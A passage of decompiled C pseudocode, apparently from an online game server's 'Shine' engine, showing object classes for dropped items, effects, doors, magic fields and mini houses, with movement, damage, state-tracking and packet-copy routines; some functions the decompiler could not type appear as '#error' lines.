&this->sdi_ItemOnField; } //----- (0052ABC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::so_itempicked(ShineObjectClass::ShineDropItem *this) { ItemTotalInformation::iti_clear(&this->sdi_ItemOnField); } //----- (0052AC30) -------------------------------------------------------- char __thiscall ItemInventory::ib_GetInvenType(ItemInventory *this) { return 9; } //----- (0052AC40) -------------------------------------------------------- PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineEffectObject::so_LoginLocation(ShineObjectClass::ShineEffectObject *this) { return &this->seo_LoginLoc; } //----- (0052AC50) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineEffectObject::so_RemakeHandle(ShineObjectClass::ShineEffectObject *this, unsigned __int16 handle) { ShineObjectClass::ShineEffectObject *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 32 * handle | 3; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 32 * handle | 3; } //----- (0052AC80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineEffectObject::so_FillBriefInformation(ShineObjectClass::ShineEffectObject *this, void *array) { PROTO_NC_BRIEFINFO_EFFECTBLAST_CMD::operator_(array, (int)this->seo_EffectBriefInfo.bie_BriefInfo); } //----- (0052ACA0) -------------------------------------------------------- void *__thiscall PROTO_NC_BRIEFINFO_EFFECTBLAST_CMD::operator_(void *this, int a2) { void *v2; // esi@1 v2 = this; *(_WORD *)this = *(_WORD *)a2; Name8::operator_((int)((char *)this + 2), a2 + 2); *(_DWORD *)((char *)v2 + 34) = *(_DWORD *)(a2 + 34); *(_DWORD *)((char *)v2 + 38) = *(_DWORD *)(a2 + 38); *((_BYTE *)v2 + 42) = *(_BYTE *)(a2 + 42); *(_WORD *)((char *)v2 + 43) = *(_WORD *)(a2 + 43); *(_WORD *)((char *)v2 + 45) = *(_WORD *)(a2 + 45); *((_BYTE *)v2 + 47) = *(_BYTE *)(a2 + 47); return v2; } //----- (0052ACF0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::_ShineMobileObject(void *this) { void *v1; // esi@1 v1 = this; *(_DWORD *)this = &ShineObjectClass::ShineMobileObject::_vftable_; Parameter::Container::_Container((int)((char *)this + 3860)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)((char *)v1 + 3588)); AbnormalStateContainer::AbstateListInObject::_AbstateListInObject((AbnormalStateContainer::AbstateListInObject *)((char *)v1 + 296)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)((char *)v1 + 232)); return ShineObjectClass::ShineObject::_ShineObject(v1); } // 52A750: using guessed type int __thiscall ShineObjectClass__ShineObject___ShineObject(_DWORD); // 665320: using guessed type int (*ShineObjectClass__ShineMobileObject___vftable_)(); //----- (0052AD80) -------------------------------------------------------- ShineRTTI *__cdecl ShineObjectClass::ShineMobileObject::GetRTTI() { return &ShineObjectClass::ShineMobileObject::m_RTTI; } //----- (0052AD90) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMobileObject::so_SetLastBattle(int this) { unsigned int result; // eax@1 result = clockwatch.cw_CurrTick; *(_DWORD *)(this + 3852) = clockwatch.cw_CurrTick; return result; } //----- (0052ADA0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::so_isinbattle(int this) { return *(_DWORD *)(this + 3852) + 100 >= clockwatch.cw_CurrTick; } //----- (0052ADC0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_CharacterClass(int this) { return *(_DWORD *)(this + 3856); } //----- (0052ADD0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_SpyAgent(void *this) { return (int)((char *)this + 3588); } //----- (0052ADE0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_GetMode(int this) { return **(_BYTE **)(this + 3568); } //----- (0052ADF0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_AbstateList(void *this) { return (int)((char *)this + 296); } //----- (0052AE00) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::so_mobile_IsInMoving(int this) { return *(_DWORD *)(this + 264) != 0; } //----- (0052AE10) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_Move2Where(void *this) { return (int)((char *)this + 252); } //----- (0052AE20) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::so_OverlapFactor(void *this) { return (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1152))() != 3; } //----- (0052AE40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SendMyMoveInfo(int this, int a2) { int v2; // edi@1 char *v3; // ecx@2 char *v4; // esi@2 __int16 v5; // ax@2 int v6; // ecx@2 int v7; // eax@2 v2 = this; if ( *(_WORD *)(this + 194) ) { v3 = gpp.pp_Buffer; v4 = gpp.pp_Buffer + 2; v5 = *(_WORD *)gpp.pp_Buffer & 0x3FF | 0x2000; *(_WORD *)gpp.pp_Buffer = v5; *(_WORD *)v3 = v5 ^ (v5 ^ *(_WORD *)(v2 + 194)) & 0x3FF; ProtocolPacket::pp_SetPacketLen(&gpp, 23); *(_DWORD *)v4 = *(_DWORD *)(v2 + 196); *((_DWORD *)v4 + 1) = *(_DWORD *)(v2 + 200); *((_DWORD *)v4 + 2) = *(_DWORD *)(v2 + 204); *((_DWORD *)v4 + 3) = *(_DWORD *)(v2 + 208); *((_DWORD *)v4 + 4) = *(_DWORD *)(v2 + 212); v4[20] = *(_BYTE *)(v2 + 216); v6 = *(_DWORD *)(v2 + 78); *(_DWORD *)(v4 + 2) = *(_DWORD *)v6; *(_DWORD *)(v4 + 6) = *(_DWORD *)(v6 + 4); v7 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 764))(a2); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, a2, &gpp); } } //----- (0052AEF0) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineMobileObject::so_Getabstatebit() { return &ShineObjectClass::ShineMobileObject::AS::tempbit; } //----- (0052AF00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_RecalcAbstateParamReady(int this) { *(_BYTE *)(this + 3560) = 1; } //----- (0052AF10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_batobj_DamageApply(int this, int damage) { int v2; // edx@1 v2 = *(_DWORD *)(this + 7180) - damage; *(_DWORD *)(this + 7180) = v2; if ( v2 < 0 ) AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMobileObject::so_batobj_DamageApply", 0); } //----- (0052AF40) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_batobj_GetDamage(int this) { return *(_DWORD *)(this + 7180); } //----- (0052AF50) -------------------------------------------------------- #error "52AF50: undefined or illegal type '#593' (funcsize=6)" //----- (0052AF70) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_parameter(void *this) { return (int)((char *)this + 3860); } //----- (0052AF80) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::smo_DuringCast(int this) { return *(_DWORD *)(this + 7184) != 0; } //----- (0052AF90) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMobileObject::so_mobile_WhoIsKillMe(int this) { return *(_WORD *)(this + 222); } //----- (0052AFB0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SetClicker(int this, __int16 clicker) { __int16 result; // ax@1 result = clicker; *(_WORD *)(this + 224) = clicker; return result; } //----- (0052AFC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_YouHaveAlreadyDead(int this) { *(_BYTE *)(this + 7176) = 1; } //----- (0052AFD0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::so_AmIAlreadyDead(void *this) { return *((_BYTE *)this + 7176) || !(*(int (**)(void))(*(_DWORD *)this + 1252))(); } //----- (0052B000) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_MoveState(int this) { return *(_DWORD *)(this + 236); } //----- (0052B010) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_RecalcSpeed(int this, int newspeed) { MoveManager::mm_RecalcSpeed((MoveManager *)(this + 232), newspeed); } //----- (0052B020) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_SPCheckConsume(void *this, __int16 skill, int sklinf, int empow) { void *v4; // esi@1 char result; // al@2 unsigned int v6; // edi@3 v4 = this; if ( *((_BYTE *)this + 7428) & 0x10 ) { result = 1; } else { v6 = *(_DWORD *)(*(_DWORD *)(sklinf + 4) + 160); if ( (*(int (__thiscall **)(void *))(*(_DWORD *)this + 1256))(this) < v6 ) { result = 0; } else { (*(void (__thiscall **)(void *, unsigned int))(*(_DWORD *)v4 + 1268))(v4, v6); result = 1; } } return result; } //----- (0052B070) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::so_mobile_TargetModeCheck(void *this, int ts) { bool result; // al@2 if ( ts ) { if ( ts == 1 ) { result = (*(int (**)(void))(*(_DWORD *)this + 40))(); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMobileObject::so_mobile_TargetModeCheck : Invalid target mode", ts); result = 0; } } else { result = (*(int (**)(void))(*(_DWORD *)this + 40))() == 0; } return result; } //----- (0052B0B0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_mobile_DuringFlying(int this) { return (*(_BYTE *)(this + 7428) >> 1) & 1; } //----- (0052B0C0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMobileObject::so_mobile_GetHPChangeOrder(int this) { ++*(_WORD *)(this + 7172); return *(_WORD *)(this + 7172); } //----- (0052B0D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_DeadCheck(int this, int cause) { int result; // eax@1 result = cause; *(_DWORD *)(this + 218) = cause; return result; } //----- (0052B0E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_GetFlagDamageAbsorb(int this) { return *(_BYTE *)(this + 7428) >> 7; } //----- (0052B0F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_SetFlagDamageAbsorb(int this, char nFlag) { char result; // al@1 result = (nFlag << 7) | *(_BYTE *)(this + 7428) & 0x7F; *(_BYTE *)(this + 7428) = result; return result; } //----- (0052B110) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_MoveReserve(int this, int goal, int speed, MoveManager::MMState state, int md) { int v5; // eax@1 signed int v6; // edi@2 signed int v7; // esi@2 v5 = *(_DWORD *)(this + 78); if ( md ) { v6 = *(_DWORD *)(v5 + 4) - *(_DWORD *)(goal + 4); v7 = *(_DWORD *)v5 - *(_DWORD *)goal; while ( v7 > 1024 || v7 < -1024 || v6 > 1024 || v6 < -1024 ) { v7 /= 2; v6 /= 2; } } else { v6 = *(_DWORD *)(goal + 4) - *(_DWORD *)(v5 + 4); v7 = *(_DWORD *)goal - *(_DWORD *)v5; while ( v7 > 1024 || v7 < -1024 || v6 > 1024 || v6 < -1024 ) { v7 /= 2; v6 /= 2; } } **(_BYTE **)(this + 82) = ddt.ddt_Table[1024][v6 + 2049 * v7 + 1024].direct; MoveManager::mm_MoveStart((MoveManager *)(this + 232), (SHINE_XY_TYPE *)goal, speed, state); } //----- (0052B1E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_MoveHalt(int this) { int v1; // eax@1 int v2; // ecx@1 v1 = *(_DWORD *)(this + 236); v2 = this + 232; if ( v1 != 3 ) { *(_DWORD *)(v2 + 4) = 0; MoveManager::_mm_ReserveHaltState((MoveManager *)v2); } } //----- (0052B200) -------------------------------------------------------- double __thiscall ShineObjectClass::ShineMobileObject::so_AbnormalState_RestSec(int this, ABSTATEINDEX abstate) { AbnormalStateContainer::AbstateElementInObject *v2; // eax@1 double result; // st7@2 v2 = AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet( (AbnormalStateContainer::AbstateListInObject *)(this + 296), abstate); if ( v2 ) result = (double)(v2->aeo_Tick.terminate - clockwatch.cw_CurrTick) * 0.1; else result = -1.0; return result; } //----- (0052B250) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall ShineObjectClass::ShineMobileObject::so_AbnormalState_IsSet(int this, ABSTATEINDEX abstate) { AbnormalStateContainer::AbstateElementInObject *result; // eax@1 result = AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet( (AbnormalStateContainer::AbstateListInObject *)(this + 296), abstate); if ( result ) result = (AbnormalStateContainer::AbstateElementInObject *)((result->aeo_Tick.terminate - clockwatch.cw_CurrTick) / 0xA); return result; } //----- (0052B280) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDoor::_ShineDoor(ShineObjectClass::ShineDoor *this) { *(_DWORD *)&this->gap0[0] = &ShineObjectClass::ShineDoor::_vftable_; ShineObjectClass::ShineMobileObject::_ShineMobileObject(this); } // 666190: using guessed type int (*ShineObjectClass__ShineDoor___vftable_)(); //----- (0052B290) -------------------------------------------------------- ShineRTTI *__thiscall ShineObjectClass::ShineDoor::GetRTTI(ShineObjectClass::ShineDoor *this) { return &ShineObjectClass::ShineDoor::m_RTTI; } //----- (0052B2A0) -------------------------------------------------------- #error "52B2A0: undefined or illegal type '#593' (funcsize=16)" //----- (0052B2D0) -------------------------------------------------------- PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineDoor::so_LoginLocation(ShineObjectClass::ShineDoor *this) { return &this->sd_Locate; } //----- (0052B2E0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineDoor::so_RemakeHandle(ShineObjectClass::ShineDoor *this, unsigned __int16 handle) { ShineObjectClass::ShineDoor *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 32 * handle | 0xF; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 32 * handle | 0xF; } //----- (0052B310) -------------------------------------------------------- char *__thiscall ShineObjectClass::ShineDoor::so_mobile_GetIdxName(ShineObjectClass::ShineDoor *this) { return this->sd_MobDataBox->data->InxName; } //----- (0052B320) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDoor::so_FillBriefInformation(ShineObjectClass::ShineDoor *this, void *array) { PROTO_NC_BRIEFINFO_BUILDDOOR_CMD::operator_((int)array, (int)this->sd_DoorBriefInfo.bid_BriefInfo); } //----- (0052B340) -------------------------------------------------------- int __thiscall PROTO_NC_BRIEFINFO_BUILDDOOR_CMD::operator_(int this, int a2) { int result; // eax@1 result = this; *(_WORD *)this = *(_WORD *)a2; *(_WORD *)(this + 2) = *(_WORD *)(a2 + 2); *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_BYTE *)(this + 12) = *(_BYTE *)(a2 + 12); *(_BYTE *)(this + 13) = *(_BYTE *)(a2 + 13); *(_DWORD *)(this + 14) = *(_DWORD *)(a2 + 14); *(_DWORD *)(this + 18) = *(_DWORD *)(a2 + 18); *(_DWORD *)(this + 22) = *(_DWORD *)(a2 + 22); *(_DWORD *)(this + 26) = *(_DWORD *)(a2 + 26); *(_DWORD *)(this + 30) = *(_DWORD *)(a2 + 30); *(_DWORD *)(this + 34) = *(_DWORD *)(a2 + 34); *(_DWORD *)(this + 38) = *(_DWORD *)(a2 + 38); *(_DWORD *)(this + 42) = *(_DWORD *)(a2 + 42); *(_WORD *)(this + 46) = *(_WORD *)(a2 + 46); return result; } //----- (0052B410) -------------------------------------------------------- ShineRTTI *__thiscall ShineObjectClass::ShineMagicField::GetRTTI(ShineObjectClass::ShineMagicField *this) { return &ShineObjectClass::ShineMagicField::m_RTTI; } //----- (0052B420) -------------------------------------------------------- #error "52B420: undefined or illegal type '#593' (funcsize=16)" //----- (0052B450) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMagicField::so_RemakeHandle(ShineObjectClass::ShineMagicField *this, unsigned __int16 handle) { ShineObjectClass::ShineMagicField *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 32 * handle | 7; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 32 * handle | 7; } //----- (0052B4E0) -------------------------------------------------------- ShineRTTI *__thiscall ShineObjectClass::ShineMiniHouse::GetRTTI(ShineObjectClass::ShineMiniHouse *this) { return &ShineObjectClass::ShineMiniHouse::m_RTTI; } //----- (0052B4F0) -------------------------------------------------------- #error "52B4F0: undefined or illegal type '#593' (funcsize=16)" //----- (0052B520) -------------------------------------------------------- PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineMiniHouse::so_LoginLocation(ShineObjectClass::ShineMiniHouse *this) { return &this->smh_Info.loginloc; } //----- (0052B530) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_RemakeHandle(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 handle) { ShineObjectClass::ShineMiniHouse *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 8 * handle | 6; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 8 * handle | 6; } //----- (0052B570) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::so_FillBriefInformation(ShineObjectClass::ShineMiniHouse *this, void *array) { PROTO_NC_BRIEFINFO_MINIHOUSEBUILD_CMD::operator_((int)array, (int)this->smh_BriefInfo.bimh_BriefInfo); } //----- (0052B590) -------------------------------------------------------- int __thiscall PROTO_NC_BRIEFINFO_MINIHOUSEBUILD_CMD::operator_(int this, int a2) { int result; // eax@1 int v3; // edx@1 signed int v4; // edi@1 result = this; *(_WORD *)this = *(_WORD *)a2; *(_DWORD *)(this + 2) = *(_DWORD *)(a2 + 2); *(_DWORD *)(this + 6) = *(_DWORD *)(a2 + 6); *(_WORD *)(this + 10) = *(_WORD *)(a2 + 10); *(_BYTE *)(this + 12) = *(_BYTE *)(a2 + 12); *(_DWORD *)(this + 13) = *(_DWORD *)(a2 + 13); *(_DWORD *)(this + 17) = *(_DWORD *)(a2 + 17); *(_DWORD *)(this + 21) = *(_DWORD *)(a2 + 21); *(_DWORD *)(this + 25) = *(_DWORD *)(a2 + 25); *(_DWORD *)(this + 29) = *(_DWORD *)(a2 + 29); *(_DWORD *)(this + 33) = *(_DWORD *)(a2 + 33); *(_BYTE *)(this + 37) = *(_BYTE *)(a2 + 37); v3 = this + 38; v4 = 21; do { *(_BYTE *)v3 = *(_BYTE *)(a2 - this + v3); ++v3; --v4; } while ( v4 ); return result; } //----- (0052B610) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineDropItem::_vector_deleting_destructor_(ShineObjectClass::ShineDropItem *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0x231u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineDropItem::_ShineDropItem); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineDropItem::_ShineDropItem(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (0052B670) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineEffectObject::_vector_deleting_destructor_(ShineObjectClass::ShineEffectObject *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0x12Eu, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineEffectObject::_ShineEffectObject); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineEffectObject::_ShineEffectObject(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (0052B6D0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineDoor::_vector_deleting_destructor_(ShineObjectClass::ShineDoor *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0x1D84u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineDoor::_ShineDoor); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineDoor::_ShineDoor(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (0052B730) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMagicField::_vector_deleting_destructor_(ShineObjectClass::ShineMagicField *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0x120u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineMagicField::_ShineMagicField); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineMagicField::_ShineMagicField(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (0052B790) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMiniHouse::_vector_deleting_destructor_(ShineObjectClass::ShineMiniHouse *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0xD058u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineMiniHouse::_ShineMiniHouse); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineMiniHouse::_ShineMiniHouse(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (0052B7F0) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 Observer *v2; // esi@1 Observer *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) v2->baseclass_0.vfptr->__vecDelDtor((IObserver *)v2, 0); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (0052B840) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::ShineObject(int this) { int v1; // esi@1 v1 = this; *(_DWORD *)this = ShineObjectClass::ShineObject::_vftable_; MoveManager::MoveManager((DiceTaiSai *)(this + 4)); ShineObjectClass::ShineObject::__unnamed::__unnamed(v1 + 6); *(_DWORD *)(v1 + 130) = 0; *(_DWORD *)(v1 + 134) = 15; *(_BYTE *)(v1 + 114) = 0; *(_DWORD *)(v1 + 162) = 15; *(_DWORD *)(v1 + 158) = 0; *(_BYTE *)(v1 + 142) = 0; *(_DWORD *)(v1 + 190) = 15; *(_DWORD *)(v1 + 186) = 0; *(_BYTE *)(v1 + 170) = 0; *(_DWORD *)(v1 + 10) = v1; *(_DWORD *)(v1 + 22) = v1 + 6; *(_DWORD *)(v1 + 18) = v1; *(_DWORD *)(v1 + 34) = v1 + 14; *(_DWORD *)(v1 + 94) = v1 + 86; *(_DWORD *)(v1 + 98) = 0; *(_DWORD *)(v1 + 106) = 0; *(_DWORD *)(v1 + 78) = &ShineObjectClass::ShineObject::so_TempLocation; *(_DWORD *)(v1 + 82) = &unk_130BDAFC; *(_DWORD *)(v1 + 86) = 0; *(_BYTE *)(*(_DWORD *)(v1 + 94) + 4) = 0; return v1; } // 520840: using guessed type int __thiscall ShineObjectClass__ShineObject____unnamed____unnamed(_DWORD); // 662B30: using guessed type int (*ShineObjectClass__ShineObject___vftable_[4])(); //----- (0052B900) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineAxialFlag::_ShineAxialFlag(ShineObjectClass::ShineAxialFlag *this) { ShineObjectClass::ShineAxialFlag *v1; // esi@1 v1 = this; *(_DWORD *)&this->gap0[0] = &ShineObjectClass::ShineAxialFlag::_vftable_; if ( this->safm_vecRoutions._Myfirst ) operator delete(this->safm_vecRoutions._Myfirst); v1->safm_vecRoutions._Myfirst = 0; v1->safm_vecRoutions._Mylast = 0; v1->safm_vecRoutions._Myend = 0; ShineObjectClass::ShineObject::_ShineObject(v1); } // 52A750: using guessed type int __thiscall ShineObjectClass__ShineObject___ShineObject(_DWORD); // 668968: using guessed type int (*ShineObjectClass__ShineAxialFlag___vftable_)(); //----- (0052B950) -------------------------------------------------------- #error "52B950: undefined or illegal type '#593' (funcsize=13)" //----- (0052B980) -------------------------------------------------------- #error "52B980: undefined or illegal type '#593' (funcsize=2)" //----- (0052B990) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineAxialFlag::so_safm_SetCinema(ShineObjectClass::ShineAxialFlag *this, Movie::CinemaComplex *cine) { this->safm_Screen = cine; } //----- (0052B9A0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineAxialFlag::so_RemakeHandle(ShineObjectClass::ShineAxialFlag *this, unsigned __int16 handle) { ShineObjectClass::ShineAxialFlag *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 16 * handle | 5; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 16 * handle | 5; } //----- (0052B9D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::ShineDropItem(ShineObjectClass::ShineDropItem *this) { ShineObjectClass::ShineDropItem *v1; // esi@1 v1 = this; ShineObjectClass::ShineObject::ShineObject((int)this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineDropItem::_vftable_; BriefInformationDropItem::BriefInformationDropItem(&v1->sdi_ItemBriefInfo); ShineMultiTypeHandle::ShineMultiTypeHandle(&v1->sdi_LooterHandle); TickTimer::TickTimer(&v1->sdi_DicePick.DiceGameStart); *(_DWORD *)&v1->sdi_loginloc.currentmap.n3_name[8] = 0; *(_DWORD *)&v1->sdi_loginloc.currentmap.n3_name[4] = 0; *(_DWORD *)&v1->sdi_loginloc.currentmap.n3_name[0] = 0; *(_DWORD *)&v1->gap0[78] = (char *)v1->sdi_ItemBriefInfo.bidi_BriefInfo + 4; *(_DWORD *)&v1->gap0[82] = &unk_130BDAFC; ShineObjectClass::ShineDropItem::sd_DiceGameBufferReset(v1, 0); } // 663920: using guessed type int (*ShineObjectClass__ShineDropItem___vftable_)(); //----- (0052BA60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineEffectObject::ShineEffectObject(ShineObjectClass::ShineEffectObject *this) { ShineObjectClass::ShineEffectObject *v1; // esi@1 PROTO_NC_BRIEFINFO_EFFECTBLAST_CMD *v2; // eax@1 v1 = this; ShineObjectClass::ShineObject::ShineObject((int)this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineEffectObject::_vftable_; BriefInformationEffect::BriefInformationEffect(&v1->seo_EffectBriefInfo); *(_DWORD *)&v1->seo_LoginLoc.currentmap.n3_name[8] = 0; *(_DWORD *)&v1->seo_LoginLoc.currentmap.n3_name[4] = 0; *(_DWORD *)&v1->seo_LoginLoc.currentmap.n3_name[0] = 0; Metronome::Metronome(&v1->seo_DetachCheck); v2 = v1->seo_EffectBriefInfo.bie_BriefInfo; *(_DWORD *)&v1->gap0[78] = (char *)v2 + 34; *(_DWORD *)&v1->gap0[82] = (char *)v2 + 42; } // 664620: using guessed type int (*ShineObjectClass__ShineEffectObject___vftable_)(); //----- (0052BBD0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMobileObject::_scalar_deleting_destructor_(unsigned int this) { void *v1; // esi@1 char v3; // [sp+8h] [bp+4h]@0 v1 = (void *)this; ShineObjectClass::ShineMobileObject::_ShineMobileObject((void *)this); if ( v3 & 1 ) operator delete(v1); return v1; } // 52BBD0: inconsistent function type and number of purged bytes //----- (0052BBF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDoor::ShineDoor(ShineObjectClass::ShineDoor *this) { ShineObjectClass::ShineDoor *v1; // esi@1 PROTO_NC_BRIEFINFO_BUILDDOOR_CMD *v2; // eax@1 v1 = this; ShineObjectClass::ShineMobileObject::ShineMobileObject(); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineDoor::_vftable_; BriefInformationDoor::BriefInformationDoor(&v1->sd_DoorBriefInfo); *(_DWORD *)&v1->sd_Locate.currentmap.n3_name[8] = 0; *(_DWORD *)&v1->sd_Locate.currentmap.n3_name[4] = 0; *(_DWORD *)&v1->sd_Locate.currentmap.n3_name[0] = 0; v2 = v1->sd_DoorBriefInfo.bid_BriefInfo; *(_DWORD *)&v1->gap0[78] = (char *)v2 + 4; *(_DWORD *)&v1->gap0[82] = (char *)v2 + 12; } // 52BAE0: using guessed type int ShineObjectClass__ShineMobileObject__ShineMobileObject(void); // 666190: using guessed type int (*ShineObjectClass__ShineDoor___vftable_)(); //----- (0052BC70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMagicField::ShineMagicField(ShineObjectClass::ShineMagicField *this) { ShineObjectClass::ShineMagicField *v1; // esi@1 v1 = this; ShineObjectClass::ShineObject::ShineObject((int)this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineMagicField::_vftable_; 